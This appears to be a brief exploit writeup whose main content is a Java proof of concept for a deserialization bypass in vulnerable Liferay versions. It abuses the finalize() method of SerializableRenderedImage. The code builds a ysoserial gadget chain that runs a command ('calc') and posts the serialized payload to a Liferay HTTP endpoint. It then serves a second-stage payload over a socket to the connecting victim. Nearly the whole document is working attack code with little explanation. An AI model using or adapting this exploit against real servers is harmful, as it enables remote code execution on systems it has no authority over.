- Abusing
finalize()
method (called by garbage collector latter) to exploit java native deserialization (read more here) - Affect vulnerable version of liferay whhich used look-ahead object inputstream for checking insecure deserialization (ex:
liferay-ce-portal-7.0-ga3
)
POC:
import com.sun.media.jai.rmi.ColorModelState;
import com.sun.media.jai.rmi.SampleModelState;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.InputStreamEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.media.jai.remote.SerializableRenderedImage;
import javax.media.jai.remote.SerializerFactory;
import java.awt.*;
import java.awt.color.ColorSpace;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.Base64;
import java.util.Hashtable;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
int width = 300;
int height = 200;
BufferedImage bufferedImage = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
Graphics2D g2d = bufferedImage.createGraphics();
g2d.setColor(Color.WHITE);
g2d.fillRect(0, 0, width, height);
g2d.setColor(Color.RED);
g2d.drawLine(0, 0, width, height);
g2d.dispose();
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(bufferedImage);
Reflections.setFieldValue(serializableRenderedImage, "isServer", false);
Reflections.setFieldValue(serializableRenderedImage, "useDeepCopy", true);
Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName("127.0.0.1"));
Reflections.setFieldValue(serializableRenderedImage, "port", 9090);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload_finalize.ser"));
oos.writeObject(serializableRenderedImage);
oos.close();
Object templates = Gadgets.createTemplatesImpl(new String[]{"calc"});
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
Reflections.setFieldValue(priorityQueue, "queue", new Object[]{templates, null});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
objectOutputStream.writeObject(priorityQueue);
//HTTP POST
String apiUrl = "http://192.168.169.1:8080/api/liferay";
String filePath = "payload_finalize.ser";
File file = new File(filePath);
if (!file.exists()) {
System.err.println("File does not exist: " + filePath);
return;
}
try (CloseableHttpClient httpClient = HttpClients.createDefault()) {
HttpPost httpPost = new HttpPost(apiUrl);
InputStreamEntity entity = new InputStreamEntity(new FileInputStream(file), ContentType.APPLICATION_OCTET_STREAM);
httpPost.setEntity(entity);
HttpResponse response = httpClient.execute(httpPost);
int statusCode = response.getStatusLine().getStatusCode();
System.out.println("Response Code: " + statusCode);
// Close the response entity to release resources
HttpEntity responseEntity = response.getEntity();
if (responseEntity != null) {
responseEntity.getContent().close();
}
} catch (IOException e) {
e.printStackTrace();
}
//Socket server to send back payload
int port = 9090;
String filename = "cc2.ser";
boolean done = false;
try (ServerSocket serverSocket = new ServerSocket(port)) {
System.out.println("Server listening on port " + port);
while (!done) {
Socket clientSocket = serverSocket.accept();
System.out.println("Client connected from " + clientSocket.getInetAddress());
try (OutputStream outputStream = clientSocket.getOutputStream();
ObjectOutputStream objectOut = new ObjectOutputStream(outputStream);
ObjectInputStream objectIn = new ObjectInputStream(clientSocket.getInputStream())) {
String command = (String) objectIn.readObject();
if ("CLOSE".equals(command)) {
try (FileInputStream fileInputStream = new FileInputStream(filename)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fileInputStream.read(buffer)) != -1) {
objectOut.write(buffer, 0, bytesRead);
}
objectOut.flush();
}
done = true;
}
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
} finally {
clientSocket.close();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}